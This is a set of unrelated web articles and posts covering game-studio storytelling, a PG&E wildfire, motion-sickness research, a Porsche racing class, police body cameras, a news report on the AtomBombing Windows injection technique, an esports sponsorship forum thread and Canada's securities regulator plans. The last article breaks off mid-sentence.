over to Memories by the Mile get the full post, and while you are there, check out some of the other awesome posts on Wanda Ann’s blog!  Recipe adapted from Vegangela.com.  This post contains affiliate links. Check out our full disclosure here
-I’ve spent all of my life with an over active imagination. I like stories and honestly I think we all do. Whether it be a novel, comic, movie, or my favorite: a video game. . . stories provide much of our entertainment. The elements of a complete story are plot, characters, conflict, theme, and setting. These things are key to good entertainment and as much as I love game play and graphics so good it makes my eyes bleed; a good story will win me over every time. I predict seven storytelling giants and a few runners up will captivate us all and keep us tuned in for year to come. In no particular order, I give you these seven game studios that are champions of storytelling.  [alert type=white ]Spoilers for Halo 4 follow![/alert]  Bioware: This Canadian developer created Knights of the old Republic, the Mass Effect trilogy, as well as Dragon Age. They’ve hit some bumps in the road sure, but who hasn’t? Dragon Age Inquisition, due out sometime this fall, looks to wrap up all the stories that started with the Warden Commander and Hawke in previous installments. Bioware has a tendency to make gamers make choices that pull us in and really make the story feel like our own. A possible return to origin stories for multiple races of our very own inquisitor offers us greater insight into our own character in the world of Thedas. With returning favorite Morrigan driving the plot and Varric tagging along to provide witty commentary, Bioware has rich characters on lock. We experienced so much of the world in the last two games I think we can all appreciate the setting and dark theme the series has always offered. The conflict seems to come from several sources this time around: Fade demons, Darkspawn, and bouncing baby godlings. Who could ask for more? Bioware also saw fit to make sure the last generation of systems as well as next generation can enjoy the end of this epic tale. Bioware also set a trend with MMORPGs. Old Republic gives each class individual side quests furthering the story of the player and still has gamers and creators alike reevaluating how quests in MMORPG’s should work.  Telltale Games: Telltale is a rising star among American developers. The Walking Dead game created with the Telltale Tool is what I think really put them on the map. The episodic game style is mostly unique to them and feels much like a comic book. Comic books are one of my favorite mediums for story. Being able to play a new chapter every month is very exciting and it feels like new comic day with all the new stories I can read. It’s no surprise that its take on Bill Willingham’s long-running Fables comic series in the form of The Wolf Among Us was adapted so well to their style.  They’ve got ambition in spades with Tales from the Borderlands and a story based on Game of Thrones to be released later this year. Telltale games is one of my favorite developers and if they can keep up the pace likely will be a favorite for years to come. I do wish the episodes would come out a little faster, but I suppose nothing stops me from waiting and binging on them all at once. One shouldn’t rush greatness.  Rocksteady: Speaking of comic books; one of the most well known superheroes is Batman. Rocksteady, a British developer, changed the way we look at super hero games. For a long time a game based on a super hero or comic would be mediocre at best. Rocksteady changed that with one game. Putting the control of The Dark Knight and all of his gadgets in our hands was a dream come true to many gamers and comic enthusiasts alike. Each installment since Batman: Arkham Asylum (Yes, I know Batman: Arkham Origins was not made by Rocksteady, but it was done with their blessing and tried it’s best to mimic their style) brought new puzzles, criminals, and gadgets. Each game has been executed in a fashion that makes us feel vulnerable; yet powerful as we step into the cape and cowl of The Batman, by stressing stealth and clever combat over brute force and making us feel like we are all Batman the story feels more our own. Every game feels like the developer team truly read the comics and this is reflected in the rather rich plotting throughout the games.  It appears as though Batman: Arkham Knight will be no different. The larger open world will have even more villains to foil and characters to interact with. Rocksteady is even introducing a brand new character to rival Batman. My spine quivers with anticipation when I am reminded that Harley Quinn didn’t exist prior to Batman: The Animated series in the ’90’s only to become a staple to DC comics. This could create a brand new character for all of us to read about for years to come. Imagine the story that will accompany a brand new character and possibly an origin story as well. Any company that has the potential to do that is huge in my book. If I needed more incentive to get a Next Gen system, Rocksteady provided it.  343 Industries: Microsoft created this company to make Halo games after Bungie sold them the rights to their beloved series in 2007. They even named it after 343 Guilty Spark. Fans of the franchise were skeptical until Halo 4 was released. We all wondered if the new lords and masters could live up to what we had come to love about Halo, yet Halo 4 exceeded most expectations in terms of story. Bungie had created a vast universe and history for that universe and created John 117, the Master Chief, and a popular supporting cast. Bungie, and later 343 Industries, proved a FPS can be more than game play and flashy graphics. Halo has been an epic tale from the beginning. Halo 4 picked up where Halo 3 left off and we were told a heartbreaking tale about Cortana. Chief vowed to save her from literally thinking herself to death. We were all crushed at the end when Chief, for the first time. . . failed. “Don’t make a girl a promise if you can’t keep it.”  Now we look forward to Halo 5. We’ve seen naught but teasers of Chief in a cloak roaming through a wasteland and a massive vessel rising up before him. Will Chief try to save Cortana? Is his wandering a form of penance? What do you do when your long time AI companion is gone? This new chapter will put us in the shoes of Master Chief as never before. This time he isn’t just a soldier, but a man who lost a dear friend and is going to have to make choices rather than just take orders. As a long time fan of the series, I am tempted to buy an X-Box One for this title alone.  CD Projekt Red: Role Playing Games are usually founded in a good story. The Witcher series is no different. Polish publisher and developer, CD Projekt Red, created this game series based on Andrzej Sapkowski’s books. Now, I haven’t read them yet, but I assume the games at the very least loosely follow the plot and use characters from the novels. Authors of novels have nothing but description and words to convey their story. Games have interaction and stunning visuals to help tell the tale. When a game is based on a book, I think one can safely assume the story is going to be phenomenal. The characters will be “three dimensional” and have pasts and motivations all their own. This tends to make a game go from great to awe inspiring.  So far, the Witcher series hasn’t let me down. I adore both games that are currently available and soon I’ll be able to play the Witcher 3: The Wild Hunt! This game promises everything the last games had but more of all of it. The game boasts a world that is 35 times larger than the Witcher 2: Assassin of Kings with 100 hours of content. That tells me there are lots of side plots to the main plot.  What is the main plot about you ask? The title suggests that Geralt will finally be facing off with the Wraiths that hunted him for years and took one of his lovers from him. I love a good revenge tale and a good love story. This seems to be providing both, hopefully with some good old fashioned tragedy thrown in for good measure.  Choice is a big part of modern RPG’s. Witcher games tend to offer plenty of ways to make Geralt of Rivia’s story our own. Next gen systems seem to be offering plenty of RPG’s to eat days of our life and have us come back for more. Sadly CD Projekt Red claims this will be the last of the Witcher games, but I’ve no doubt with quality like this, the future of storytelling is safe in their hands.  Ubisoft: Do you like deep semi-convoluted stories that constantly reveal new threats and delve into the past? I do. Ubisoft likely unintentionally mirrors how comic books reveal past events that effect the future. This is often referred to as a “retcon” — retroactive continuity. This allows things to be added to or taken from fictional existence as is required for a good story. The Assassin’s Creed series is one of the best examples of this in video games today. By using Desmond and later other characters; memories of past assassins can be accessed via a device called the Animus. We are introduced to fictional characters with motivations and interests as varied a our own. Some of these characters have families or deep dark secrets later to be revealed. The game even contains an apocalyptic plot. Each new installment offers new insights into existing characters or awesome new ones to get to know and explore. Many historical figures have further had vast amounts of poetic license taken with them to adapt them to the world Assassin’s Creed takes place in. With over a dozen installments across various gaming devices in one franchise alone, Ubisoft seems to really know it’s storytelling.  That brings me to Watch Dogs available May 27 of this year. Set in an alternate and possibly future Chicago, we have an old city in the United States that has a personality all it’s own. It has special significance to me as a native of Illinois and of it’s suburbs. We play the role of Aiden Pearce; gifted hacker and street thug. Gameplay aside, which sounds amazing by the way, Ubisoft seems to have created a game that looks like Grand Theft Auto had a beautiful baby with Assassin’s Creed. I look forward to the sort of plot a game like that has to offer. What characters and motivations will we have to complete this game? I aim to find out come May.  Runners Up:  Irrational: I have been greatly impressed by the thought process it takes to create a game like Bioshock and the plot twists that franchise brought and Ken Levine deserves a large portion of that credit. With Irrational Games closing and his new vision coming into being I look forward to the sort of games he and his smaller team will create. If his past games are any indication, the story will be something meaty for me to chew on as I play.  Epic Games: Epic Games’ franchise Gears of War has been acquired by Microsoft. This is old news, I know. Rod Fergusson joined Black Tusk to develop more Gears for us to grind. That’s exciting to me. It feels like how 343 Industries started. I have high hopes for that franchise and all the characters and story it still has to offer.  Square Enix: Even a casual glance at this article will leave fans of this company’s games upset. I know Tomb Raider was a smashing success as was Bravely Default. However, the Final Fantasy franchise has left me with a sour taste in my mouth after the XIII trilogy. Hopefully after seeing that JRPG’s are still a thing and quite successful, a return to form can happen. Right now however, I’ve been burned too badly to predict good things. I remain hopeful, however, that Square Enix can climb back onto my list and make any of my fears feel foolish in retrospect.  Tell Me a Story. . .  No prediction could be complete if it left out Microsoft or Sony as storytellers to watch. Industry titans have great opportunities to create great stories simply by the volume of games they help make. What often escapes notice however, is the little guy. No prediction can be complete without giving indy games their due either. Indy games often times have to rely on story. Due to lower budgets the graphics are often, but not always less than stellar. Gameplay can be addicting but is often uncomplicated. This leaves story to be the selling point for many games. I think some great things are going to come from independent game devs coming soon.  What do you say, dear reader? What are some of your favorite video game stories and their storytellers?  Tell us in the comments below!
-PG&E power line may have sparked deadly Sierra foothills blaze  SAN ANDREAS, CA - SEPTEMBER 13: Tall flames rise behind a firefighting inmate hand crew member at the Butte Fire are seen on September 13, 2015 near San Andreas, California. California governor Jerry Brown has declared a state of emergency in Amador and Calaveras counties where the 100-square-mile wildfire has burned scores of structures so far and is threatening 6,400 in the historic Gold Country of the Sierra Nevada foothills. (Photo by David McNew/Getty Images) *** BESTPIX *** less SAN ANDREAS, CA - SEPTEMBER 13: Tall flames rise behind a firefighting inmate hand crew member at the Butte Fire are seen on September 13, 2015 near San Andreas, California. California governor Jerry Brown has ... more Photo: David McNew Photo: David McNew Image 1 of / 34 Caption Close PG&E power line may have sparked deadly Sierra foothills blaze 1 / 34 Back to Gallery  Pacific Gas and Electric Co. power lines coming into contact with a tree may have sparked the Butte Fire, which has killed two people and scorched more than 70,000 acres in the Sierra foothills, a company spokesman said Wednesday.  “While we don’t have all the facts yet, a live tree may have contacted a PG&E line in the vicinity of the ignition point,” Barry Anderson, PG&E vice president of emergency preparedness and operations, said Wednesday. “We are cooperating fully with Cal Fire in an investigation of whether this could have been a source of ignition for the Butte Fire.”  As part of the probe, “we are reviewing our inspection and patrol data for 2014 and 2015 for the area near this tree and we will be sharing the results of those inspections and patrols” with the state Department of Forestry and Fire Protection, Anderson said.  The fire started Sept. 9 east of Jackson (Amador County). It has burned 71,780 acres in Amador and Calaveras counties and is 45 percent contained, Cal Fire said.  Two men have died in the fire, both of whom remained in their homes despite evacuation orders, officials said.  Mark McCloud, 67, was found near his home on Baker Riley Road near Mokelumne Hill (Calaveras County). The other victim died in his home nearby, said county Coroner Kevin Raggio. He identified the victim only as an elderly man.  “I’ve never seen anything like it,” Raggio said of the fire’s destruction. “In such a small county like this, it just brings a tear to your eye.”  This wouldn’t be the first time a PG&E line sparked a wildfire. In 1997, PG&E was found guilty of 739 counts of negligence for a pattern of tree-trimming violations that led to a devastating 1994 wildfire in the Sierra.  The fire destroyed 12 homes near the Gold Rush town of Rough and Ready. PG&E was fined $1.6 million for the violations.  Anderson said PG&E has been stepping up its efforts this summer to prevent fires.  “Since June, we have been conducting daily air patrols along sections of major electric lines to look for hazards that could spark wildfires,” he said in a statement. “We have provided $2 million in funding to local fire safe councils for fire fuel reduction, emergency access projects and public education. We have provided funding for lookout towers and cameras for early fire detection.”  Kale Williams is a San Francisco Chronicle staff writer. E-mail: kwilliams@sfchronicle.com Twitter: @sfkale
-Image copyright Imperial  Using electricity to stimulate parts of the brain may ease the symptoms of motion sickness, scientists have said.  The team at Imperial College London say early trials on 20 people suggest the method could have a similar effect to drugs, but without the drowsiness.  The mild electrical current interferes with the messages arriving from the part of the ear which controls balance.  Other scientists urged "healthy scepticism" until larger trials backed up the findings, reported in Neurology.  Whether you are travelling by plane, boat or car, motion sickness is thought to be down to mixed messages coming from your ears and your eyes.  It leaves the brain confused about what is going on and culminates in nausea and headaches.  'Chunder chair'  Dr Qadeer Arshad, from the movement and balance group at Imperial, said people no longer had motion sickness if their inner ear was damaged.  So the team used "transcranial direct current stimulation" to try to manipulate the part of the brain that interprets messages coming from those balance organs in the ear while people were made to feel nauseous.  Twenty volunteers were placed in a "chunder chair" which is like a twisted fairground ride that spins someone round at an angle.  Image copyright Imperial  It is guaranteed to make pretty much anyone motion sick within five minutes. Keep going and you will be physically sick, as some of the participants found out.  Everyone had an initial go.  Then one hour later, half of the participants had small electrical currents passed through their scalp to alter their brain activity.  The other half were given a dummy treatment.  With the stimulation, it took an extra 207 seconds, on average, for motion sickness to develop.  Whereas those getting the dummy treatment actually felt nauseous 57s sooner (one bout of motion sickness makes you more vulnerable to another).  The results showed the stimulation improved recovery times.  Augmented reality  Dr Arshad told the BBC News website: "The best comparison is with the best known drug scopolamine - we showed in essence that it's equivalent to scopolamine, but that drug knocks you out, it puts you to sleep."  He said there were no known side-effects to brain stimulation and that it would be easy to develop.  "Within the next couple of years people will be able to use these devices - it's not far away," he said.  "You can envisage on a cross-Channel ferry, having a small area where if you feel sick this could be applied by a trained person."  The group are also investigating brain stimulation for virtual and augmented reality devices, which can also result in headaches in some people, and for nausea after cancer chemotherapy.  Prof Chris Chambers, the head of brain stimulation at Cardiff University, commented: "It would be irresponsible to conclude that this study provides anything more than very early evidence of a potential benefit.  "Until the findings are replicated in a large registered trial, I recommend that the public approach any claims about treatment benefits with a healthy scepticism."
-Next year’s Pirelli World Challenge season will bring some added excitement and an increased grid size thanks to the launch of a new class, GT Cup, which will compete alongside the GT and GT-A categories in the sprint race championship.  Announced last month, the single-make category, exclusively for Porsche 911 Cup cars, will help bridge the gap between its two premier classes, GT and GTS, according to Series President/CEO Scott Bove.  “I asked Jens Walther at Porsche if we could develop a new class of GT Cup cars,” Bove told Sportscar365. “I wanted them to be 2015-spec. I wanted to enhance our relationship with Porsche and wanted to find a way to attract the ‘tweener.’ We’ve got this gap to go from a GTS to a GT car.  “A GT car costs $600,000; GTS is between $100,000 to $150,000. The performance gap is also pretty significant. There’s a market for that sort of $250,000 GT car. That market and those drivers will be our future GT drivers. We wanted to find a way to create that ladder system within GT and GTS.”  Bove and his team appear to have done just that, with numerous teams already committing to the class. He said all ten of the initial entries were confirmed within the first two weeks of the announcement. The class limit has since been expanded to 15 cars due to the early demand.  Only 2015-spec 991 Cup cars will be eligible, although existing 2014 model cars, which currently compete in various championships domestically such as the IMSA GT3 Cup Challenge, can be run with an upgrade kit.  “The purpose of this is to have state-of-the-art technology, state-of-the-art cars running the full season in the championship,” Bove said. “We really don’t want factory involvement in the class. The purpose of the class is to have some driver who is an 18 or 25-year-old funded driver to come in and compete at that level amongst his peers.  “We are having some interest from existing GTS teams that would like to move up from an American-made muscle car and run in this next class. And we may see some migration downward from GT.”  Bove said the talent level will be limited to GT-A standards, which roughly translates into Bronze and the bottom half of Silver-rated drivers on the FIA medallion system.  “If you win a GT Cup championship in a spec class, you’ll have the eyes of Porsche Motorsport,” he said. “We want to see that aspiring first, second, third, fourth place driver have the opportunity to get the next ride with Porsche or Cadillac or whomever.  “It might mean they leave and go to another series but we need to offer that path.”  The influx of Porsches will also see an increased trackside presence from the German manufacturer, with Porsche Motorsport North America’s parts truck to be at every round next year, supporting customers in both GT and GT Cup.  Bove, meanwhile, is bullish for the category’s future. While it will be Porsche-only in 2015, he hasn’t necessarily ruled out expansion in the years to come, depending on the level of interest.  “Since that announcement, I’ve gotten approached by other manufacturers saying that they’ve got a car that is a Cup-type car,” he said.  “You see how you can create this Cup class. The manufacturers see World Challenge as providing a ‘vehicle’ for their customers to race their product.  “It’s only a vision but can you imagine having an Aston Martin GT4 Cup, an ACR-X Cup car and a Porsche Cup car competing in a GT Cup class, all together?”
-The Denver Police Department is looking to equip 800 officers with body cameras in 2015.  In an interview with the Denver Post, Denver Police Chief Robert White said that body-mounted cameras would serve as an impartial record, protecting those who make legitimate complaints, and shielding officers from false claims of excessive force.  "Citizens should know officers are being held accountable," White told the newspaper. "The only officers who would have a problem with body cameras are bad officers."  The $1.5 million program still requires approval of the city council.  Last year, police in Denver began evaluating the cameras -- which are worn on glasses or lapels -- in a trial run focused on downtown Denver. The pilot program is part of a study conducted by Cambridge University, with funding from Taser International.  Patrol officers who wear cameras download video to a cloud storage system after their shift.  A body camera program in Rialto, California, a small city near Los Angeles, coincided with huge declines in both complaints against cops and incidents involving force, according to the Guardian:  After cameras were introduced in February 2012, public complaints against officers plunged 88 percent compared with the previous 12 months. Officers' use of force fell by 60 percent.  The recent violence in Ferguson, Missouri, has led to a renewed call for body cameras on cops. Greg Hallgrimson, police chief in the small town of Greenwood, Missouri, called the cameras "one piece of equipment I would never want to do without."  On Wednesday, Sen. Claire McCaskill, D-Mo., said that body cameras should be mandated by departments as a prerequisite for receiving federal funds.  Regarding the program in Rialto, the American Civil Liberties Union of Southern California -- a frequent critic of abuse of force -- said that if videos are kept private and deleted regularly (unless used in a trial), the gains for accountability would outweigh privacy concerns.
-Researchers have discovered a code-injection vulnerability in the Windows operating system that cannot, because of the nature of the operating system, be patched. It could be used to bypass current malware protection solutions in place.  "Unfortunately," writes enSilo researcher Tal Liberman in a report published Oct. 27, "this issue cannot be patched since it doesn't rely on broken or flawed code -- rather it's a flaw in how these operating system mechanisms are designed."  The attack technique has been labeled 'AtomBombing'. It manipulates Windows' underlying Atom Tables mechanisms. Atom Tables are used to hold data strings. Applications place the strings into the table and receive back an 'atom' identifier for the string.  Windows has several different Atom Tables for different purposes. The Global Atom Table can be used to share data between different DDE applications. "Rather than passing actual strings, a DDE application passes global atoms to its partner application. The partner uses the atoms to obtain the strings from the atom table," explains Microsoft's own data sheet.  enSilo has discovered that an attacker can write malicious code into an atom table, and force a legitimate program to retrieve that malicious code. Furthermore, wrote Liberman, "We also found that the legitimate program, now containing the malicious code, can be manipulated to execute that code."  The result is that maliciousness has been passed from an unknown malicious application to a known good application or process. While security defenses are on red alert to detect and block malicious applications, they often whitelist known good applications or processes. That is the attraction of 'code injection' as an attack vector: where it can be achieved, it can be used, notes Liberman, "to bypass security products, hide from the user, and extract sensitive information that would otherwise be unattainable."  Liberman gives two examples of how AtomBomb code injection can help the attacker to access context-specific data. The first is taking screenshots. Processes can only do this from within the context of the user's desktop. Malware, however, usually lands in the services desktop, and is unable to execute user screenshots. AtomBombing would allow the attacker to inject code from the services desktop into a process already running within the user desktop, take the screenshot, and pass it back to the malware in the services desktop.  The second example is access to encrypted passwords. Chrome, for example, encrypts users' stored passwords using the Windows Data Protection API (DPAPI) together with data derived from the current user. Again, passwords can only be accessed from within the user context -- which AtomBombing can achieve. "If the malware injects code into a process that's already running in the context of the current user," writes Liberman, "the plain-text passwords can be easily accessed."  The problem for users is that AtomBombing cannot be fixed -- it's the way Windows works. With no chance of a patch, the solution is some other form of mitigation. enSilo believes the issue is another argument for a shift of emphasis from attack prevention to consequence mitigation. "Under the assumption that threat actors will always exploit known and unknown techniques, we need to build our defenses in a way that prevents the consequences of the attack once the threat actor has already compromised the environment."
-shire Profile Joined August 2010 United States 405 Posts #1  From the Twitter of IM headcoach, IM headcoach DongHoon Kang announced that There will be GSL finals event at the gsl finals location. And the event will be with IM's sponsor "구김스컴퍼니' (goo-kim's company?) and coca-cola.  here is actual message from IM head coach's twitter:  hirai21DongHoon Kang  IM팀과 함께하는 GSL May 결승전 현장이벤트!!  i guess coca-cola finally realized marketting value of Nestea~! This is official.From the Twitter of IM headcoach, IM headcoach DongHoon Kang announced that There will be GSL finals event at the gsl finals location. And the event will be with IM's sponsor "구김스컴퍼니' (goo-kim's company?) and coca-cola.here is actual message from IM head coach's twitter:hirai21DongHoon KangIM팀과 함께하는 GSL May 결승전 현장이벤트!! http://www.imteam.co.kr/freeboard/4024 IM팀의 후원사인 "구김스컴퍼니"와 " 코카콜라"가 함께합니다~i guess coca-cola finally realized marketting value of Nestea~!  Firesilver Profile Joined December 2010 United Kingdom 1173 Posts #2 Awesome news! Caster at IMBA.tv -- www.twitter.com/IMBAFiresilver -- www.youtube.com/FiresilverTV  marconi Profile Joined March 2010 Croatia 220 Posts #3 if this is true it's absolutely fantastic news for starcraft  Morale Profile Joined August 2010 Sweden 1005 Posts Last Edited: 2011-05-12 22:22:23 #4 Sick! thats one major sponsor, praying for some more international non computer related companies starts to sponsor e-sports!  Antoine Profile Blog Joined May 2010 United States 7344 Posts #5 the other sponsor is Googims (http://googims.co.kr/), a clothing company  I celebrated a bit when I saw this earlier because IM had no sponsors previous to this Moderator Flash Sea Action Snow Midas | TheStC Ret Tyler MC | RIP 우정호  Tachion Profile Blog Joined May 2010 Canada 8327 Posts #6 So happy for IM. They really deserve it. i was driving down the road this november eve and spotted a hitchhiker walking down the street. i pulled over and saw that it was only a tree. i uprooted it and put it in my trunk. do trees like marshmallow peeps? cause that's all i have and will have.  Kazeyonoma Profile Blog Joined April 2010 United States 2632 Posts #7 so, Nestea is part of cocacola brand, will MVP become Sprite? ;D I now have autographs of both BoxeR and NaDa. I can die happy. Lim Yo Hwan and Lee Yun Yeol FIGHTING forever!  Maliris Profile Blog Joined April 2011 Northern Ireland 2557 Posts Last Edited: 2011-05-12 22:28:23 #8 Grats IM, definitely well earned.  wonder if nestea will have to change his name lol, IMCocaCola gogo WOW, huge sponsorGrats IM, definitely well earned.wonder if nestea will have to change his name lol, IMCocaCola gogo "Religion is something left over from the infancy of our intelligence, it will fade away as we adopt reason and science as our guidelines."  bokchoi Profile Blog Joined March 2010 Korea (South) 7381 Posts Last Edited: 2011-05-12 22:24:59 #9 Niiiiiiiiice, congrats to Team IM! Looks like NesTea has to change his name to CocaCola now or back to Zergbong xD  Senx Profile Blog Joined March 2008 Sweden 5024 Posts #10 COCA COLA? Holy balls that is pretty huge..  Hopefully foreign teams will get those kind of sponsors one day. "trash micro but win - its marine" MC commentary during HSC 4  CoMMoDuS Profile Joined February 2010 Germany 506 Posts #11 Time for zenexcoca and fantaprime to switch clans! There is no unemployment amongst overlords-Artosis  Michaels Profile Joined August 2010 417 Posts #12 finally, im happy for them!  sephius Profile Joined January 2011 United Kingdom 198 Posts #13 Blimey. That's a huge name :o  Kralic Profile Blog Joined March 2010 Canada 2616 Posts #14 I guess IM can now say "Life begins here" from now on.  Great news for them. Brood War forever!  AeonStrife Profile Blog Joined May 2010 United States 918 Posts #15 No fu**ing way....THATS HUGE! Whats worse...US Poltics or SC2 Balance Talks...  chrissummers Profile Joined March 2011 243 Posts #16 Nestea making sure his team gets delicious drinks. Nice one, boss!  zende Profile Joined February 2011 Sweden 234 Posts #17 wow.. that's huge!! so baller to be sponsored by coca cola - imagine the amounts of free coke  TicketoHELL Profile Joined April 2010 Canada 364 Posts #18 On May 13 2011 07:24 CoMMoDuS wrote:  Time for zenexcoca and fantaprime to switch clans!  fantaprime is julyzerg fantaprime is julyzerg (づ.ㅡ) 부비적 (ㅡ.ど) 부비적 (づ.ど) 부비부비  R0YAL Profile Blog Joined September 2009 United States 1767 Posts #19 Well butter my biscuits! Awesome news! Absence of evidence is not evidence of absence.  Yaotzin Profile Joined August 2010 South Africa 4280 Posts #20 Damn really mainstream, that's nice. Grats IM!  1 2 3 4 5 17 18 19 Next All
-OTTAWA — It might have seemed like a straightforward proposition at the time: tying the strands of securities regulators across this country into one federal body with a unified set of rules.  [np_storybar title=”Terence Corcoran: 70 thumbs down for new national securities regulator plans” link=”https://business.financialpost.com/2014/12/22/terence-corcoran-70-thumbs-down-for-new-national-securities-regulator-plans/”%5D  On Sept. 8, 2014, Finance Minister Joe Oliver and the provinces of British Columbia, Ontario, Saskatchewan and New Brunswick (together with P.E.I.) issued consultation drafts of a Provincial Capital Markets Act (PCMA) and a federal Capital Markets Stability Act (CMSA) — which, together, create the legislative framework that underpins the proposed Co-operative Capital Markets Regulatory System (CCMRS) and creates the Capital Markets Regulatory Authority (CMRA).  If you think that’s a bummer of a title for a proposed National Securities Regulator, wait till you read the reviews. Not since Ishtar, the Golden Raspberry-winning film of 1987, has a piece of proposed legislation accumulated so much official negative critical reception in such a short period of time.  Continue reading.  [/np_storybar]  But Canada — now a respected member of the Group of 20 industrialized nations — has for decades fallen short of that goal, leaving it out of step with global peers who long ago established national oversight of their respective capital markets.  Despite piling on study after study — some dating back nearly 60 years — along with numerous false starts, Ottawa is still less than halfway to its goal of creating some form of federal watchdog here.  It could be said that the most recent attempt, with the Conservative government pushing in 2013 to create the yet-to-be-launched Cooperative Capital Markets Regulatory System, the concept has finally reached the critical mass of signatories necessary to legitimize its existence and move forward.  Even now, of the country’s 13 provinces and territories, only five — Ontario and British Columbia in 2013, and Saskatchewan, New Brunswick and Prince Edwards Island in 2014 — are officially on board, while eight remain outside the framework. And of those, at least three — Quebec, Alberta and Manitoba — have vowed not to join.  The Cooperative System, nevertheless, is scheduled to be launched in mid-2015, although that may be an unrealistic deadline — regardless of how many jurisdictions sign up for it.  “These things take a ridiculous amount of time in Canada,” says Brian Lee Crowley, managing director of the Macdonald-Laurier Institute, an Ottawa-based think-tank focusing on federal policy issues.  The Constitution Act of 1867, he says, “was supposed to tear down the barriers between the provinces, and here we are today with the provinces [only] saying, ‘we think we might make some progress on this’.”  “[But] I’m just delighted that we’ve made more progress in the last year than we probably made in the previous 60.”  For now, Canada’s landscape remains a patchwork of regulators — not the single securities blanket envisioned by Jim Flaherty, who was named finance minister when the Conservatives came to power in 2006 with unifying the capital markets system as one of their goals.  In fact, Ottawa had almost nothing to show for its efforts to create a national body until 2009.  We’ve made more progress in the last year than we probably made in the previous 60  That’s when the federal government — having watched dust collect on previous research documents and taken to heart a more recent set of recommendations by the so-called Expert Panel on Securities Regulation — turned up the heat on the provinces and territories, creating the Canadian Securities Transition Office, tasked with making the single national regulator a reality.  Trouble was, then as now, not all of the country’s 13 jurisdictions were ready or willing to be folded into a federal system. There was also a not-so-insignificant matter of the Constitution, which made it pretty clear the provinces had the overriding authority in these local matters.  Even so, Ottawa struck an advisory committee of the Transition Office to begin building a consensus on the shape and form of an overarching regulator.  But the process stalled again in 2011, after the Supreme Court of Canada, indeed, ruled the federal government lacked the constitutional authority to impose a national regulatory structure on the provinces and territories. Quebec and Alberta had argued in favour of such a ruling.  The high court did, however, acknowledge Ottawa’s role as the legitimate guardian over systemic market risks and also left open the option of pursuing a cooperative regulatory approach between the levels of government.  After allowing for some breathing space, Mr. Flaherty in 2013 unveiled a new version of a national regulator — this one taking the “cooperative” approach suggested by the court. Present for that Ottawa announcement were the finance ministers of Ontario and B.C., representing the first provinces to join the fledgling national regulator. They were followed by Saskatchewan, New Brunswick and Prince Edward Island the next year, when Joe Oliver replaced Mr. Flaherty as finance minister.  “What has surprised me is that this process hasn’t happened faster,” says Ian Russell, president and CEO of Investment Industry Association of Canada.  “After the agreement between Ontario and B.C. and the federal government, we would have expected Atlantic Canada to come in more quickly. What turned out to be the case, is we saw Saskatchewan come in and then we saw New Brunswick. And then it’s taken some time for other Atlantic provinces to come in . . . and we still don’t have Nova Scotia in yet. And no Newfoundland,” says Mr. Russell.  Saskatchewan and New Brunswick decided to join the Cooperative System after key changes were agreed to by participating parties. These included the creation of two regional deputy chief regulator positions — to be based in those two provinces — along with the previously agreed to regulator offices in Ontario and B.C. As well, two similar positions would be created should Alberta and Quebec decide to join in.  Prince Edward Island’s decision to sign on came after fixes to the cooperative agreement in August 2014 to emphasize “local economic development initiatives and it also emphasized regional representation,” says Steven Dowling, general counsel with PEI’s Consumer, Labour and Financial Services division of the Department of Environment, Labor and Justice.  “Specifically for PEI, that amended agreement outlined that there would be two additional regional deputy chief regulators,” he adds.  “And one of those deputy chief regulators will be representing New Brunswick, Newfoundland, Nova Scotia [should those two join] and PEI. You can expect that for all those participating jurisdictions will there will be regional representation for all the Atlantic Canadian provinces. That was a significant development.”  Mr. Oliver, the federal finance minister, says the Cooperative Regulator “will strengthen investor protection, provide more robust oversight of systemic risk, enhance efficiency, and bolster the reputation of our capital markets,” adding that the national regulator “will accomplish that while respecting regional interests and jurisdictions.”  “The door is open for every provinces and territories to participate. If they choose not to join at this time, they will have a constructive partner in the new Cooperative Regulator,” he adds.  “Discussions with provinces and territories interested in joining the Cooperative System are ongoing.”  So, where will the Cooperative System be a year now? Probably not much farther along than it is now.  The legislation to formally create the Cooperative System won’t be tabled in Parliament until sometime in early 2015 and implementation likely won’t happen until later.  First of all, the new regulator will still be under construction for much of the year — the necessary bureaucratic architecture needs to be formulated, accommodations found, staff hired, and a board of directors named and convened.  Some don’t see all of this completed until the end of 2015, or beyond.  “We have to get down to the brass tacks, which is really hammering this thing together into a viable organization. And you can’t do that without the board of directors and the board will play a very key role, beginning with appointing a CEO,” says Mr. Russell, at the Investment Industry Association of Canada.  “First of all, you’ve got the big job with the legislation and the regulations, but then you’ve got a very heavy task of trying to move out in building this thing,” he says. “The deadline for getting this up and running in the middle of 2015 . . . . It’s hard to believe that will happen. So, we’re obviously going to get slippage in deadlines.”  But, he adds, “hopefully, towards year-end next year, it might be going.”  Who will be next to join the Cooperative System, up and running or not? Five provinces may grow to six or seven in the coming year, with the likely addition of Nova Scotia and Newfoundland and Labrador. The three territories still appear hesitant about the idea and determined to give it more study — and that could take them past 2015.  For sure, there will be no Alberta and no Manitoba, at least not in the next two or three years, depending on which way the local political winds blow, and — most certainly — no Quebec.  “We [have] made clear that Quebec, Alberta and Manitoba are not going to join the Cooperative Capital Markets Regulator,” Quebec Finance Minister Carlos Leitao said after meeting with his provincial counterparts in Ottawa on Dec. 15.  “Those three provinces together account for almost 50% of capital markets activity in Canada. So, we cannot ignore that either,” he pointed out.  “Whatever happens we have no intention, of course, of putting up obstacles [to the Cooperative System].”  A spokesperson for Alberta Finance Minister Robin Campbell says that, “based on consultations with industry, it is clear that industry representatives in all three provinces do not support the [Cooperative System] initiative, preferring a provincially-led approach instead.”  “It is far better for everyone concerned that we are all on the same page,” says Kevin Zagara. “Our worry is that Ottawa will proceed without the support of two of the country’s largest markets, leaving us with a more fractured system than the one we have today.”  Manitoba’s view is similar to that of Quebec and Alberta.  “We’ve always supported the Passport system and will continue to do that,” says a spokesperson for Finance Minister Greg Dewar.  “This system remains one of the best and most respected in the world. In our consultations with representatives of Manitoba’s financial sector, they have expressed strong support for continuing to have a local securities regulator that is responsive to local needs.”  Meanwhile, other current outliers to Ottawa’s proposed Cooperative System are taking a wait-and-see stance on the debate.  Diana Whalen, Nova Scotia’s finance minister and treasury board head, says “the issue is what kind of influence am I going to have in the [cooperative] model and what kind of compensation am I going to get from the federal government for giving up the revenues . . . of securities regulators for the provinces.”  The securities industry in Nova Scotia is “almost universally in favour of what we’re doing right now,” she says. And that includes continuing with the “passport” system that allows domestic and foreign issuers approved in one jurisdiction to operate in other Canadian capital markets — all except Ontario, which did not sign the one-fits-all agreement but considers applicants on an individual basis.  “Right now, I don’t see a risk in us continuing to be part of the Passport system that has other large provinces — certainly Quebec, 